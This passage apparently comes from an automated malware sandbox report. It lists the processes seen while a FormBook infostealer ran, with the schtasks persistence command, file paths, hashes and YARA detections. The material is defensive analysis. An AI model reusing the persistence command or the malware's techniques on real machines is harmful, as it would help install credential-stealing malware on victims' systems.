Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	06:56:15
Start date:	19/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hwOHPmqcegxcxb" /XML "C:\Users\user\AppData\Local\Temp\tmp600C.tmp"
Imagebase:	0x610000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	06:56:15
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	06:56:15
Start date:	19/10/2024
Path:	C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"
Imagebase:	0x180000
File size:	702'976 bytes
MD5 hash:	A217FF7DA729F56FAF0BB3DE4AD87F40
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	12
Start time:	06:56:15
Start date:	19/10/2024
Path:	C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"
Imagebase:	0xbf0000
File size:	702'976 bytes
MD5 hash:	A217FF7DA729F56FAF0BB3DE4AD87F40
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	16
Start time:	06:56:43
Start date:	19/10/2024
Path:	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe"
Imagebase:	0xc20000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.4215060092.0000000005920000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.4215060092.0000000005920000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.4212104548.0000000002730000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.4212104548.0000000002730000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	17
Start time:	06:56:45
Start date:	19/10/2024
Path:	C:\Windows\SysWOW64\PresentationHost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\PresentationHost.exe"
Imagebase:	0x60000
File size:	256'000 bytes
MD5 hash:	C6671F8B9F073785FD617661AD1F1C45
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	18
Start time:	06:57:08
Start date:	19/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true